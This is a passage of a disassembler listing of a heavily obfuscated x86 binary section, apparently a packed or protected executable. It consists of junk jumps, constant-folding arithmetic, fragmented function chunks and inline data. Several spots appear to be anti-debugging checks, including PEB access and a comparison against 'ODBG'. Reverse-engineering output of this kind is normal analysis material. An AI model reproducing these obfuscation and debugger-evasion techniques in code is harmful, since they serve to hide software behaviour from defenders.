CHUNK FOR sub_429D4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427106 loc_426F2D: ; CODE XREF: sub_427106:loc_428D22j push 0D19D6E9Fh pop edx or edx, 2A3A4EFh test edx, 40h jmp loc_426B46 ; END OF FUNCTION CHUNK FOR sub_427106 ; --------------------------------------------------------------------------- pop ecx test esi, eax jmp loc_429B33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424556 loc_426F4C: ; CODE XREF: sub_424556+Ej push offset loc_427752 jmp nullsub_5 ; END OF FUNCTION CHUNK FOR sub_424556 ; --------------------------------------------------------------------------- loc_426F56: ; CODE XREF: wto1jq8f:00426B27j xchg esi, [esp] push 3 push 5CE2518Fh mov [esp], ecx push 0C36E7AE9h pop ecx rol ecx, 1 xor ecx, 86DCF5D3h jmp loc_42D96F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D82 loc_426F76: ; CODE XREF: sub_427D82:loc_42EC34j jz loc_429C55 jmp loc_42CDCA ; END OF FUNCTION CHUNK FOR sub_427D82 ; --------------------------------------------------------------------------- loc_426F81: ; CODE XREF: wto1jq8f:0042B050j ; wto1jq8f:0042D963j push 0 push 4 push 0DE33213Eh pop eax xor eax, 4E00DDE4h jmp loc_425F1C ; --------------------------------------------------------------------------- dw 3C89h dd 128B5F24h, 59E95052h db 8Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_426FA3: ; CODE XREF: wto1jq8f:loc_4243FBj jz loc_42B9C1 jmp loc_428B13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_426FAE: ; CODE XREF: sub_42CBD1-6C4Aj push eax push 4 push 28h call sub_424556 loc_426FB8: ; CODE XREF: sub_42ADC7-18EFj jmp loc_42EB23 ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; --------------------------------------------------------------------------- and ecx, ebp push ebp jmp sub_427E50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_426FC5: ; CODE XREF: sub_426E98+Cj mov [ebp-1], al cmp byte ptr [ebp-1], 0 call sub_42433B loc_426FD1: ; CODE XREF: wto1jq8f:0042A50Fj jmp nullsub_113 ; END OF FUNCTION CHUNK FOR sub_426E98 ; =============== S U B R O U T I N E ======================================= sub_426FD6 proc near ; DATA XREF: wto1jq8f:0042C37Do ; FUNCTION CHUNK AT 00425F26 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00429781 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042EDF6 SIZE 0000000B BYTES add [esi], eax xor [esi], ebx add [esi], ecx xor [esi], edx push 0CC79495Ah pop eax or eax, 764BEA4Ch jnz loc_429781 loc_426FF0: ; CODE XREF: wto1jq8f:0042D87Dj jmp nullsub_164 sub_426FD6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_426FF5: ; CODE XREF: sub_426535+253j jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_426FFA: ; CODE XREF: wto1jq8f:00424336j cdq lea eax, [ebp-25Ch] cmp dword ptr [eax], 4742444Fh jz loc_4265DB jmp loc_429A4A ; --------------------------------------------------------------------------- mov esi, 0F30CFD90h jmp loc_426C0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42628C loc_42701C: ; CODE XREF: sub_42628C:loc_424533j xor edi, 6B410B1Eh sub edi, 472FB9A0h add edi, 5384D08h xchg edi, [esp-4+arg_0] jmp sub_42A56D ; END OF FUNCTION CHUNK FOR sub_42628C ; --------------------------------------------------------------------------- locret_427036: ; CODE XREF: wto1jq8f:loc_427A13j retn ; --------------------------------------------------------------------------- jmp loc_429628 ; --------------------------------------------------------------------------- loc_42703C: ; CODE XREF: wto1jq8f:0042E363j jmp loc_42B3E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BD4 loc_427041: ; CODE XREF: sub_424BD4+1B95j jmp loc_42AC2F ; END OF FUNCTION CHUNK FOR sub_424BD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42618A loc_427046: ; CODE XREF: sub_42618A:loc_428FBCj mov [edi], eax pop edi jmp nullsub_153 ; END OF FUNCTION CHUNK FOR sub_42618A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42704E proc near ; CODE XREF: sub_4287D0+4j ; FUNCTION CHUNK AT 0042791B SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0042B105 SIZE 00000005 BYTES push ebp mov ebp, esp push ecx jmp loc_42791B sub_42704E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_427057: ; CODE XREF: wto1jq8f:loc_425981j pop ebx mov ebp, offset loc_428B27 xchg ebp, [esp] retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DA7 loc_427061: ; CODE XREF: sub_427DA7+Cj sub eax, 0C17A267Ch adc ebx, 70DF8F90h adc ecx, edx jmp loc_42A57D ; END OF FUNCTION CHUNK FOR sub_427DA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_427074: ; CODE XREF: sub_42CBD1:loc_426DFCj jz near ptr loc_42F5A7+1 jmp loc_427F6C ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; =============== S U B R O U T I N E ======================================= sub_42707F proc near ; CODE XREF: wto1jq8f:0042C40Aj ; sub_42CB36:loc_42EB9Ep xchg eax, [esp+0] pop eax xor eax, eax retn sub_42707F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_427086: ; CODE XREF: wto1jq8f:0042A078j jmp loc_42BCEE ; =============== S U B R O U T I N E ======================================= sub_42708B proc near ; CODE XREF: sub_42BC9B+9p ; sub_42CED1+7p ; FUNCTION CHUNK AT 0042EBA3 SIZE 00000005 BYTES call near ptr sub_42CB36 jmp loc_42EBA3 sub_42708B endp ; --------------------------------------------------------------------------- push edi jmp loc_42C93C ; --------------------------------------------------------------------------- loc_42709B: ; CODE XREF: wto1jq8f:004266C5j jnz loc_42ABA0 jmp loc_42B1FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DA92 loc_4270A6: ; CODE XREF: sub_42DA92:loc_4277F5j push 2DCE763Dh mov [esp+4+var_4], ecx mov esp, ebp pop ebp push 0E6E479ADh push offset loc_42B804 jmp loc_42E796 ; END OF FUNCTION CHUNK FOR sub_42DA92 ; =============== S U B R O U T I N E ======================================= sub_4270C0 proc far ; DATA XREF: sub_42903A+Ao ; FUNCTION CHUNK AT 0042F35A SIZE 00000015 BYTES mov eax, [ebp-4] cmp byte ptr [eax], 0E8h call near ptr sub_424232 loc_4270CB: ; CODE XREF: wto1jq8f:0042C838j jmp loc_42F35A sub_4270C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov edi, 3D20CE5Ch not esi jmp loc_426A84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428DDD loc_4270DC: ; CODE XREF: sub_428DDD-4C0Aj jnb near ptr sub_42D2BB jmp loc_42AE7C ; END OF FUNCTION CHUNK FOR sub_428DDD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_106. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jnb loc_42A01D jmp sub_42CF00 ; --------------------------------------------------------------------------- loc_4270F3: ; CODE XREF: wto1jq8f:00429CF0j test al, al jz loc_42EB19 call sub_427106 retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_427101: ; CODE XREF: sub_42B276-4FEFj jmp loc_429D43 ; END OF FUNCTION CHUNK FOR sub_42B276 ; =============== S U B R O U T I N E ======================================= sub_427106 proc near ; CODE XREF: wto1jq8f:004270FBp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00426B46 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00426F2D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00428938 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00428D22 SIZE 00000005 BYTES push edx jmp loc_428D22 sub_427106 endp ; --------------------------------------------------------------------------- lea eax, [ebp-25Ch] cmp dword ptr [eax], 4742444Fh jz loc_4265DB jmp loc_42E518 ; --------------------------------------------------------------------------- loc_427123: ; CODE XREF: wto1jq8f:0042441Fj xchg ecx, esi loc_427125: ; CODE XREF: wto1jq8f:0042CC86j push eax push 6B19D23Fh pop eax and eax, 0BA55BF64h rol eax, 0Dh add eax, 0CDFE6111h jmp loc_42824F ; --------------------------------------------------------------------------- loc_427140: ; CODE XREF: wto1jq8f:00425DCFj rol ecx, 5 ; =============== S U B R O U T I N E ======================================= sub_427143 proc far ; CODE XREF: sub_428D47+Bp ; FUNCTION CHUNK AT 00425BE9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004261EE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004292F9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00429B95 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042AC78 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042B895 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042D760 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D7CE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E7AB SIZE 0000000B BYTES mov [esp+0], edx pop edx xor edx, 2BDA06F9h jmp loc_42B895 sub_427143 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_427153: ; CODE XREF: wto1jq8f:00427B85j jmp loc_428605 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240DC loc_427158: ; CODE XREF: sub_4240DC:loc_42C2CDj push 0 push 157A3537h and eax, 0B33DB1E3h jmp loc_425A7E ; END OF FUNCTION CHUNK FOR sub_4240DC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42716A proc near ; CODE XREF: sub_42DFE5+6j ; FUNCTION CHUNK AT 0042E46E SIZE 00000015 BYTES push ebp mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_42E46E sub_42716A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425C40 loc_427176: ; CODE XREF: sub_425C40:loc_42A712j call sub_424585 push 0F43661AAh pop edx ; END OF FUNCTION CHUNK FOR sub_425C40 ; START OF FUNCTION CHUNK FOR sub_429281 loc_427181: ; CODE XREF: sub_429281:loc_4240C3j sub edx, 0CAD7D954h and edx, 6C7B51FBh jmp loc_42DB1A ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- loc_427192: ; CODE XREF: wto1jq8f:00428C07j or ecx, 0FF4190BCh ; =============== S U B R O U T I N E ======================================= sub_427198 proc near ; CODE XREF: wto1jq8f:0042BE27p mov [esp+0], ebx pop ebx add ecx, 0F64B9EA8h mov [ecx], eax pop ecx jmp sub_429A99 sub_427198 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 858Dh dd 0FFFFF800h, 88B8E850h, 0C0850000h, 17AE840Fh, 858D0000h dd 0FFFFF800h, 0E951C587h, 661Ch ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4271CD: ; CODE XREF: wto1jq8f:0042A251j jmp locret_42AC6C ; --------------------------------------------------------------------------- loc_4271D2: ; CODE XREF: wto1jq8f:00429DADj jmp loc_425B73 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F61 loc_4271D7: ; CODE XREF: sub_428F61+1Aj jmp loc_42F881 ; END OF FUNCTION CHUNK FOR sub_428F61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AE5 loc_4271DC: ; CODE XREF: sub_428AE5+10j jmp loc_425C23 ; END OF FUNCTION CHUNK FOR sub_428AE5 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- jmp loc_428625 ; --------------------------------------------------------------------------- loc_4271E7: ; CODE XREF: wto1jq8f:004278FFj jmp loc_42A5B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428FD1 loc_4271EC: ; CODE XREF: sub_428FD1:loc_42D16Cj rol edx, 1Ch jmp loc_427E99 ; END OF FUNCTION CHUNK FOR sub_428FD1 ; =============== S U B R O U T I N E ======================================= sub_4271F4 proc near ; DATA XREF: wto1jq8f:004290EEo add esi, ebp sub_4271F4 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_426313 loc_4271F6: ; CODE XREF: sub_426313:loc_42B096j add esi, 41919723h mov [esi], eax call loc_42FA0F ; END OF FUNCTION CHUNK FOR sub_426313 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_427203 proc near ; CODE XREF: sub_42DC5C-8C63p ; wto1jq8f:00425A16j mov [esp+0], esi pop esi mov eax, [eax+0Ch] lea edx, [eax+20h] mov dword ptr [edx], 2000h jmp loc_42F17A sub_427203 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_427218 proc near ; CODE XREF: wto1jq8f:0042604Dp ; wto1jq8f:00427F34j ; FUNCTION CHUNK AT 0042C0D2 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov ebp, esp add esp, 0FFFFFFF8h mov [ebp-4], eax mov eax, [ebp-4] mov [ebp-8], eax push offset loc_429D02 jmp loc_42C0D2 sub_427218 endp ; --------------------------------------------------------------------------- pushf jmp loc_4269FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267AE loc_42723A: ; CODE XREF: sub_4267AE+37CAj and esi, 2809CE4h and ebx, 1E6143B7h loc_427246: ; CODE XREF: sub_4267AE:loc_42ED3Cj call sub_4263B3 retn ; END OF FUNCTION CHUNK FOR sub_4267AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A2B8 loc_42724C: ; CODE XREF: sub_42A2B8-3C2Aj jmp loc_42EFF5 ; END OF FUNCTION CHUNK FOR sub_42A2B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E50 loc_427251: ; CODE XREF: sub_427E50+15j push 1000C59Ch pop edi and edi, 7B4DD47Ch xor edi, 5CB60144h add edi, 0B38C37FFh xchg edi, [esp+4+var_4] jmp loc_42B975 ; END OF FUNCTION CHUNK FOR sub_427E50 ; --------------------------------------------------------------------------- loc_427271: ; CODE XREF: wto1jq8f:00425B57j jz loc_42996F ; =============== S U B R O U T I N E ======================================= sub_427277 proc near ; CODE XREF: sub_42DC5C-3B3Bp arg_0 = dword ptr 4 xchg edi, [esp+0] pop edi xchg ecx, [esp-4+arg_0] retn sub_427277 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42727F proc near ; DATA XREF: sub_42DC5C-3B40o ; FUNCTION CHUNK AT 00426663 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426E10 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00427499 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004285EB SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00428B47 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042DB7B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042EAB0 SIZE 00000005 BYTES xor ecx, 476DCEB0h jmp loc_428B47 sub_42727F endp ; --------------------------------------------------------------------------- loc_42728A: ; CODE XREF: wto1jq8f:loc_42E518j jnz loc_42C172 jmp near ptr loc_42FD4E+4 ; --------------------------------------------------------------------------- loc_427295: ; CODE XREF: wto1jq8f:004273AAj xchg edx, [esp] jmp sub_424585 ; --------------------------------------------------------------------------- loc_42729D: ; CODE XREF: wto1jq8f:loc_42AACFj mov eax, [eax] add eax, [ebp-4] call sub_42FC85 cmp eax, [ebp-8] jnz loc_42FC74 call sub_42E961 ; =============== S U B R O U T I N E ======================================= sub_4272B5 proc near ; CODE XREF: wto1jq8f:loc_42A773p xchg eax, [esp+0] pop eax add eax, 0DD17433Bh mov eax, [eax] push offset byte_42FBC7 jmp nullsub_161 sub_4272B5 endp ; =============== S U B R O U T I N E ======================================= sub_4272CB proc near ; CODE XREF: wto1jq8f:loc_42C2F7p ; wto1jq8f:0042D042j mov [esp+0], eax pop eax call sub_42ED32 call sub_42FE77 loc_4272D9: ; CODE XREF: wto1jq8f:0042A689j jmp $+5 sub_4272CB endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4245B5 loc_4272DE: ; CODE XREF: sub_428333-367Fj ; sub_428333+36Ej ... pop large dword ptr fs:0 add esp, 4 locret_4272E8: ; CODE XREF: sub_427D82+21D4j retn ; END OF FUNCTION CHUNK FOR sub_4245B5 ; --------------------------------------------------------------------------- jmp sub_424585 ; --------------------------------------------------------------------------- loc_4272EE: ; CODE XREF: wto1jq8f:0042A8AEj jmp loc_42A432 ; --------------------------------------------------------------------------- db 64h ; d db 0FFh db 35h ; 5 db 0 db 0 db 0 db 0 db 64h ; d db 89h ; ‰ db 25h ; % db 0 db 0 db 0 db 0 db 64h ; d db 8Bh ; ‹ db 5 db 30h ; 0 db 0 db 0 db 0 db 52h ; R db 0E9h ; é db 0FBh ; û db 30h ; 0 db 0 db 0 ; --------------------------------------------------------------------------- loc_42730E: ; DATA XREF: sub_4290CF+57ECo jo loc_428610 add eax, [esp] adc edx, [esp+4] add esp, 8 push offset loc_427B6C jmp loc_42ACF4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A467 loc_427328: ; CODE XREF: sub_42A467+6j or eax, eax jnz loc_428D0B jmp loc_425A6C ; END OF FUNCTION CHUNK FOR sub_42A467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42750A loc_427335: ; CODE XREF: sub_42750A+7F1j add ebx, eax jmp near ptr sub_426842 ; END OF FUNCTION CHUNK FOR sub_42750A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9FC loc_42733C: ; CODE XREF: sub_42D9FC-663Cj adc esi, edx test edi, 6921EF9Dh jmp loc_42EB65 ; END OF FUNCTION CHUNK FOR sub_42D9FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_427349: ; CODE XREF: sub_42DC5C-1E4Bj or ecx, ecx jz loc_425FD1 mov ecx, [ebx+ecx+0Ch] or ecx, ecx call loc_42DCB4 loc_42735C: ; CODE XREF: wto1jq8f:00425C1Ej jmp near ptr loc_42F15B+2 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_427361: ; CODE XREF: sub_42ADC7-77Fj jz loc_42D5F4 not edx jmp loc_426A19 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- loc_42736E: ; CODE XREF: wto1jq8f:0042A986j pop ebp jmp loc_42FB60 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebp mov ebp, ecx xchg ebp, [esp] push ebx jmp loc_42A097 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_427383: ; CODE XREF: sub_426535:loc_42C538j jnz loc_42ED27 mov eax, [ebp-4] push offset sub_42649C jmp near ptr loc_42F325+1 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- cmp esi, ebp jmp loc_427B95 ; --------------------------------------------------------------------------- loc_42739D: ; CODE XREF: wto1jq8f:loc_426B88j ; wto1jq8f:0042E57Aj push edx push 4ABB4BBh pop edx add edx, 0FB96CF65h jmp loc_427295 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F4F loc_4273AF: ; CODE XREF: sub_425F4F:loc_42CF4Bj jnz loc_429638 jmp loc_42E744 ; END OF FUNCTION CHUNK FOR sub_425F4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9FC loc_4273BA: ; CODE XREF: sub_42D9FC:loc_42D9CEj jz loc_424668 jmp loc_42733C ; END OF FUNCTION CHUNK FOR sub_42D9FC ; --------------------------------------------------------------------------- loc_4273C5: ; CODE XREF: wto1jq8f:loc_427F61j jz loc_42B3FB jmp loc_42EE7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4242F8 loc_4273D0: ; CODE XREF: sub_4242F8+6j mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_8], eax mov eax, [ebp+arg_0] test byte ptr [eax-8], 80h jmp loc_42EA1C ; END OF FUNCTION CHUNK FOR sub_4242F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262F5 loc_4273E5: ; CODE XREF: sub_4262F5+3A34j cmp esi, ebx jmp loc_42475C ; END OF FUNCTION CHUNK FOR sub_4262F5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_164. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_42A6A0 ; --------------------------------------------------------------------------- loc_4273F2: ; CODE XREF: wto1jq8f:00428087j jmp loc_42DDDC ; --------------------------------------------------------------------------- loc_4273F7: ; DATA XREF: sub_42A467:loc_4247A2o call sub_424585 push offset loc_42C829 jmp loc_429977 ; --------------------------------------------------------------------------- dw 0F081h dd 0CE7DA004h, 87A4E9h, 0BE9C300h db 5Fh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_427417: ; CODE XREF: sub_42A909:loc_424473j call near ptr sub_42CB36 call sub_42D22D ; END OF FUNCTION CHUNK FOR sub_42A909 ; START OF FUNCTION CHUNK FOR sub_42A88D loc_427421: ; CODE XREF: sub_42A88D-3110j jmp loc_428B1A ; END OF FUNCTION CHUNK FOR sub_42A88D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4276C3 loc_427426: ; CODE XREF: sub_4276C3+Fj jmp loc_4278A0 ; END OF FUNCTION CHUNK FOR sub_4276C3 ; --------------------------------------------------------------------------- loc_42742B: ; CODE XREF: wto1jq8f:00429BCCj add eax, 449CAFE2h add eax, ebp add eax, 725FDDE2h mov eax, [eax] push eax push esi push 694CC74Bh jmp loc_42F180 ; --------------------------------------------------------------------------- loc_427447: ; DATA XREF: wto1jq8f:0042AB96o add [esi], ebx xor [esi], edx jmp loc_426035 ; =============== S U B R O U T I N E ======================================= sub_427450 proc near ; CODE XREF: wto1jq8f:0042A3F1p ; sub_42DB52+4p mov eax, 0D678B7ADh retn sub_427450 endp ; --------------------------------------------------------------------------- jmp loc_42ED81 ; --------------------------------------------------------------------------- locret_42745B: ; CODE XREF: wto1jq8f:0042A6D8j ; wto1jq8f:0042E5A7j retn ; --------------------------------------------------------------------------- call sub_42970D call sub_429706 ; START OF FUNCTION CHUNK FOR sub_42C423 loc_427466: ; CODE XREF: sub_42C423+13j jmp loc_42E44A ; END OF FUNCTION CHUNK FOR sub_42C423 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_42746B: ; CODE XREF: sub_42EDB9-8F3Bj mov eax, [eax] pushf push 0AB7A4096h pop edx rol edx, 1Eh xor edx, 57C3F39h add edx, 17724FC0h jmp loc_426E06 ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; =============== S U B R O U T I N E ======================================= sub_427488 proc near ; CODE XREF: sub_42D9FC:loc_424668p ; wto1jq8f:00429F69j xchg edi, [esp+0] pop edi xor eax, eax mov [ebp-0Ch], eax lea eax, [ebp-70h] jmp loc_425BF8 sub_427488 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42727F loc_427499: ; CODE XREF: sub_42727F+18D4j jl loc_4285EB loc_42749F: ; CODE XREF: wto1jq8f:0042EDF1j jmp sub_4242D6 ; END OF FUNCTION CHUNK FOR sub_42727F ; --------------------------------------------------------------------------- shl esi, 0Bh popf jmp loc_4285E4 ; --------------------------------------------------------------------------- locret_4274AD: ; CODE XREF: wto1jq8f:00426261j retn ; --------------------------------------------------------------------------- loc_4274AE: ; CODE XREF: wto1jq8f:0042B7F6j jmp loc_428FE8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BB58 loc_4274B3: ; CODE XREF: sub_42BB58-195Bj jmp sub_428183 ; END OF FUNCTION CHUNK FOR sub_42BB58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4245FF loc_4274B8: ; CODE XREF: sub_4245FF+13j jmp sub_429165 ; END OF FUNCTION CHUNK FOR sub_4245FF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_36. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4274BE proc near ; CODE XREF: sub_427D82-367p push offset loc_42C52F jmp nullsub_6 sub_4274BE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_4274C8: ; CODE XREF: sub_42DC5C-233Fj or ecx, esi cdq and ecx, edx mov ebx, eax and ecx, edx jmp loc_42D28E ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- dw 0DE0Bh dd 858D016Ah, 0FFFFF800h, 85EAE8h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D82 loc_4274E5: ; CODE XREF: sub_427D82-3C5Dj jmp nullsub_134 ; END OF FUNCTION CHUNK FOR sub_427D82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D71D loc_4274EA: ; CODE XREF: sub_42D71D:loc_429060j add eax, 0D40F2279h or ebx, eax pop eax sbb eax, 0FAB7254Bh mov ecx, 0B6F8F93Fh mov edx, 934BB54Ch sub eax, ecx jmp loc_42CF99 ; END OF FUNCTION CHUNK FOR sub_42D71D ; =============== S U B R O U T I N E ======================================= sub_42750A proc near ; CODE XREF: wto1jq8f:00424A46p ; wto1jq8f:0042CD76j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004246A4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426849 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 004268DA SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00427335 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00427CF5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428014 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 004298CC SIZE 00000015 BYTES xchg ecx, [esp+0] mov ecx, [esp+0] mov esp, ebp mov ebp, offset loc_42751B xchg ebp, [esp+0] retn ; --------------------------------------------------------------------------- loc_42751B: ; DATA XREF: sub_42750A+8o push 4C77F9BFh jmp loc_428014 sub_42750A endp ; --------------------------------------------------------------------------- byte_427525 db 8Bh, 45h, 0F8h ; DATA XREF: sub_42DC5C:loc_429DBBo dd 8072E8h db 0 ; --------------------------------------------------------------------------- loc_42752D: ; CODE XREF: wto1jq8f:loc_426821j ; wto1jq8f:loc_426E84j test edi, 0F5A872BDh jmp loc_425B31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A2B8 loc_427538: ; CODE XREF: sub_42A2B8+28CBj add eax, 0FFA8A3A4h mov eax, [eax] xchg eax, [esp-0Ch+arg_8] retn ; END OF FUNCTION CHUNK FOR sub_42A2B8 ; --------------------------------------------------------------------------- test ecx, esi jmp loc_424E08 ; --------------------------------------------------------------------------- loc_42754B: ; DATA XREF: sub_42DC5C-5CA4o push 686F651h pop edx rol edx, 16h jb loc_42AF27 ; START OF FUNCTION CHUNK FOR sub_424F7A loc_42755A: ; CODE XREF: sub_424F7A+4j ; sub_42727F+6902j jmp loc_42D91B ; END OF FUNCTION CHUNK FOR sub_424F7A ; --------------------------------------------------------------------------- add edi, eax push 89F9AB5Fh adc edi, ebx jmp loc_42AF27 ; --------------------------------------------------------------------------- loc_42756D: ; CODE XREF: wto1jq8f:loc_42C982j push ecx mov esp, ebp xchg esi, [esp] mov ebp, esi pop esi jmp loc_42A4CC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_114. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D53B loc_42757C: ; CODE XREF: wto1jq8f:00428F27j ; sub_42D53B+Bj jmp loc_42C1BF ; END OF FUNCTION CHUNK FOR sub_42D53B ; --------------------------------------------------------------------------- loc_427581: ; CODE XREF: wto1jq8f:0042BEB5j push edx push 0F2CE58A4h pop edx and edx, 0C5E04EDEh xor edx, 71E0FB0Ch add edx, 4F21EA1Dh xchg edx, [esp] jmp loc_425964 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_4275A3: ; CODE XREF: sub_42A909-9D6j call near ptr sub_42CB36 test al, al jz loc_42E71D jmp loc_4285D5 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- adc edi, edx jmp loc_42A8EC ; --------------------------------------------------------------------------- loc_4275BC: ; DATA XREF: sub_42DBA6-537Bo mov ecx, offset loc_4275C5 xchg ecx, [esp] retn ; --------------------------------------------------------------------------- loc_4275C5: ; DATA XREF: wto1jq8f:loc_4275BCo xor eax, eax jmp loc_42D83F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_4275CC: ; CODE XREF: sub_426535-1966j jz loc_4275E2 mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F7h jnz loc_42D6FF loc_4275E2: ; CODE XREF: sub_424BAC:loc_4262ABj ; sub_426535:loc_4275CCj ... jnz loc_426121 mov eax, [ebp+8] call near ptr sub_42A617 loc_4275F0: ; CODE XREF: 